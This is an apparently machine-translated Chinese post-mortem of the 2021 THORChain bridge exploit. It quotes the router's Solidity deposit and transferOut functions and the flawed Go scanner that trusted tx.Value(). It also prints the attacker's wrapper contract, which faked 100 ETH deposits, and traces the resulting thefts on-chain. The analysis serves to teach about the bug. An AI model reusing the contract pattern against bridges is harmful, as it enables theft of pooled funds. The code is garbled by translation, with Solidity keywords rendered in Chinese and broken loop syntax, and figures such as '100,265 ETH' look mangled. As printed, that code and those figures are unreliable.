與本次攻擊相關的地址:

  • THORChain 漏洞利用者 2:0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • THORChain 漏洞利用者合約:0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • THORChain路由器(受害者):0xC145990E84155416144C532E31f89B840Ca8c2cE

起初,我打算參考 https://rekt.news/thorchain-rekt/ 上的文章,但我意識到他們引用了錯誤的證據,而且文章相當粗略,所以我決定自己去了解一下。

Thorchain 的橋架構

在加密貨幣宇宙中有許多鏈,每條鏈上都有無數不同類型的硬幣,從一開始,人們就夢想着將硬幣輕鬆地從一個鏈轉移到另一個鏈。

誕生了很多以連接鏈爲使命的 Bridge,例如 Anyswap、Binance Bridge……這些 Bridge 大多是根據兩端的鎖流動性架構構建的,Validator 的任務是監聽事件或處理交易鎖在源鏈中並在目標鏈中解鎖。它們以幾乎即時鎖定和解鎖的方式運行,驗證器上沒有其他衍生品交易。

Thorchain 的 Bridge 架構有何特別之處?

image.png

正如Thorchain這個名字所暗示的,這個Bridge實際上是一條由Cosmos-sdk構建的鏈。 Cosmos-sdk在加密貨幣宇宙中如此出名,憑藉輕鬆定義鏈、鏈上幣和幣交易邏輯的優勢,被巨頭幣安信任搭建交易所。而正是Cosmos-sdk爲第一個跨鏈的IBC(Inter Blockchain Communication)思想奠定了基礎。

意識到這一點,Thor 選擇了 Cosmos-sdk 作爲他的 Bridge 的主要材料。

在Thorchain中,節點可以通過存入一定數額的押金自由參與鏈,當節點離開時,押金將被返還。節點將負責監聽來自外部鏈(目前包括以太坊、幣安智能鏈、比特幣、BitcoinCash、DogeCoin、LiteCoin)的區塊並進行處理,將從區塊中獲得的信息保存到Thorchain(Bifrost層)中,這很容易。查看 Thorchain 中的節點將使用 Cosmos-sdk 本身的 IBC 彼此達成一致。

在 Thorchain 中,原生代幣是 RUNE,用於計算掉期交易費用和 Gas。

那麼用戶將如何參與Thorchain呢?

例如,如果以太坊上的用戶想要將錢存入 Thorchain,他將通過 Thorchain 的接口調用 Thor 部署的智能合約 THORChain_Router 上的 Deposit() 函數。

// 存入帶有備忘錄的資產。ETH 已轉發,ERC-20 留在 ROUTER 中 函數 deposit(address payable vault, address asset, uint amount, string memory memo) public payable nonReentrant{ uint safeAmount; if(asset == address(0)){ safeAmount = msg.value; (bool success,) = vault.call{value:safeAmount}(""); require(success); } else if(asset == RUNE) { safeAmount = amount; iRUNE(RUNE).transferTo(address(this), amount); iERC20(RUNE).burn(amount); } else { safeAmount = safeTransferFrom(asset, amount); // 轉移資產 vaultAllowance[vault][asset] += safeAmount; // 存入所選保管庫 } emit Deposit(vault, asset, safeAmount, memo); }

以下是參數:

  • Vault:是允許用戶存錢的地址列表中的錢包地址。根據Thorchain的文檔,100個節點將有大約3個Vault用於存款,而用於用戶提現的Vault將有100個Vault,這意味着每個節點將有自己的Vault提款。

  • asset:幣的地址,如果幣是ETH則該值爲address(0)。

  • 金額: 數量

  • 備忘錄:格式爲 SWAP:ETH.ETH:RECEIVER_ADDRESS 或 SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... 此備忘錄旨在顯示用戶的目標是將哪個幣交換到哪個幣以及接收地址是哪個地址在哪個鏈上?

Thorchain 節點將持續監聽以太坊上的區塊並處理其中的交易。節點會根據deposit()交易中的meme來確定交易類型,可以添加流動性或交換(可以與鏈或跨鏈交換),因此Thorchain創建了2種類型的用戶:

  • 流動性提供者:該用戶將向池提供流動性並從互換交易中收取費用,這些池的信息保存到Thorchain

  • 普通用戶:執行交換並損失費用,他們使用智能合約上相應的備忘錄調用存款函數,節點將處理並驗證交易並將信息保存到Thorchain,然後調用transferOut()函數發送輸出token到對應鏈上的接收者地址。

轉出功能:

// 任何保險庫調用都可以將任何資產轉移給任何收件人。 function transferOut(address payable to, address asset, uint amount, string memory memo) public payable nonReentrant { uint safeAmount; bool success; if(asset == address(0)){ safeAmount = msg.value; (success,) = to.call{value:msg.value}(""); // 發送 ETH } else { vaultAllowance[msg.sender][asset] -= amount; // 減少限額 (success,) = asset.call(abi.encodeWithSignature("transfer(address,uint256)" , to, amount)); safeAmount = amount; } require(success); emit TransferOut(msg.sender, to, asset, safeAmount, memo); }

洞在哪裏?

答案是它位於節點的 Bifrost 層,更具體地說是節點的以太坊塊掃描器模塊。

好的,現在我們將在 thornode 存儲庫中跟蹤 Thorchain 在 gitlab 上的提交。

他們的提交設置爲解決“[BUG]修復 ETH 鏈攻擊”,哈希值爲 eab0715650919a1f1ba525011423e71b53ffb27b,因此我們將重點關注此提交,特別是文件 bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go。

我們看到他們在函數 getTxInFromSmartContract() 中對第 854 行進行了一些重要更改,直到 https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27#4e8376fdec8edf86c2833023ec44a12c1c204 8cb_854_854,該漏洞很可能位於此。

讓我們在合併提交解決“[BUG]修復ETH鏈攻擊”之前看一下這個函數的代碼。

// getTxInFromSmartContract 返回 txInItem func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, received etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg("從智能合約解析 tx") txInItem := &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } sender, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("無法獲取發送者:%w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 爲交易成功狀態 if received.Status != 1 { e.logger.Info().Msgf("tx(%s) 狀態: %d 表示失敗,忽略", tx.Hash().String(), received.Status) return nil, nil } for , item := range received { switch item.Topics[0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("無法解析存款事件: %w", err) } e.logger.Info().Msgf("存款:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo asset, err := e.getAssetFromTokenAddress(depositEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("無法從代幣地址獲取資產:%w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("token:%s,decimals:%d", depositEvt.Asset, decimals) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimals)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil, fmt.Errorf("無法解析轉出事件:%w", err) } e.logger.Info().Msgf("轉出: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String() txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo asset, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("無法從代幣地址獲取資產: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimals)) case transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("無法解析轉移津貼事件:%w", err) } e.logger.Info().Msgf("轉移津貼:%+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo asset, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("無法從代幣地址獲取資產: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(decimals)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("無法解析保險庫轉移事件:%w", err) } e.logger.Info().Msgf("保險庫轉移:%+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo for , item := range transferEvent.Coins { asset, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("無法從代幣地址獲取資產:%w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset.String(), item.Amount)).WithDecimals(decimals)) } } } // 將這部分放在上面的循環之外很重要,因爲當我們進行路由器升級時,可能會生成多個存款事件,以及其中包含 eth 值的 tx ethValue := cosmos。NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, gas price: %s, gas used: %d,receipt status:%d", txInItem.Tx, tx.GasPrice().String(), reception.GasUsed, reception.Status) // 在任何情況下,ETH gas 價格都不會低於 1 Gwei,除非是在開發環境中 txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, received.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("此 tx 中沒有硬幣,忽略,%+v", txInItem) return nil, nil } e.logger.Debug().Msgf("項目中的 tx:%+v", txInItem) return txInItem, nil }

該函數負責檢查 txn 是否成功,如果成功,它將處理從該 txn 發出的事件,以瞭解用戶想要從哪個代幣交換到哪個代幣鏈(可以是相同的鏈或不同的鏈)。 )該函數的輸出將被節點保存並廣播到Thorchain,然後節點將向接收地址發送幣以考慮完成交換。

請注意,在 DepositEvent 案例中:這是當事件節點是 THORChain_Router 合約的事件 Deposit(address indexed to, address indexed asset, uint amount, string memo) 時處理的情況。它將確定輸入的硬幣、數量、備註,然後根據備註確定輸出的硬幣、用戶所需的接收地址。

退出for循環,它有一個專用於存入原生幣ETH的句柄:

// 將此部分保留在上述循環之外非常重要,因爲當我們進行路由器升級時,可能會生成多個存款事件,以及其中包含 eth 值的 tx ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }

這就是缺陷,雖然上面的幣種和數量信息是通過分析存款事件獲得的,但這裏我們繼續分析 tx.Value(),這可能會覆蓋之前獲得的信息。

黑客注意到了這一點,並創建了一個智能合約來進行攻擊,邏輯非常簡單,它對 THORChain_Router 進行了如下包裝:

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.3; 接口 IRouter { 函數存款(地址應付賬款保管庫,地址資產,uint256 金額,字符串內存備忘錄)外部應付賬款; } 合約攻擊 { 函數攻擊(地址路由器,地址應付賬款保管庫,字符串內存備忘錄)外部應付賬款 { IRouter(路由器).deposit{值:0}(保管庫,地址(0),0,備忘錄); 應付賬款(msg.sender)。轉移(msg.value); } }

例如,黑客會用Thorchain的某個有效金庫調用攻擊函數,memo可以是“SWAP:ETH.ETH”,msg.value是100 ETH,調用後100 ETH仍然是他的,但內部攻擊調用的是deposit( )的 THORChain_Router。

將此智能合約與上面節點的 getTxInFromSmartContract() 函數結合起來,黑客很容易欺騙節點,讓節點認爲他想用 100 ETH 交換某種代幣,即使他沒有存入任何 ETH。

這是黑客在 Etherscan 上的交易歷史記錄 https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

以此交易爲例:https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9(塊12833255)。黑客攻擊了 100ETH,以及金庫 0xf56cba49337a624e94042e325ad6bc864436e370,備忘錄“SWAP:ETH.ETH”。

image.png我們可以很容易地看到 THORChain_Router 發出的事件:image.png

儘管Deposit事件的金額爲0,但tx.Value()爲100,265 ETH。因此節點認爲有人想用 100 ETH 換 100 ETH =)))。

就是這樣,黑客只需要等待 100ETH 到達他的錢包,節點 TransferOut() 100 ETH 給黑客的交易就是 https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6image.png

黑客多次重複此操作,竊取了池中的 ETH 和其他 ERC20 代幣,估計價值約 500 萬美元。

目前,Thor 已經修復了 Thorchain,但交換正在暫停以檢查其他可能的漏洞。

概括

Defi一直是創業公司和黑客的沃土,誕生的模式越多也意味着出現的漏洞越多,造成的損失高達數百萬美元。但任何事情在達到完美之前都必須經歷很多痛苦,克服它就意味着技術越來越好。

該文章來自 2021 年,但教訓仍然有效,感謝 @trinhvantan 爲社區發佈了有價值的文章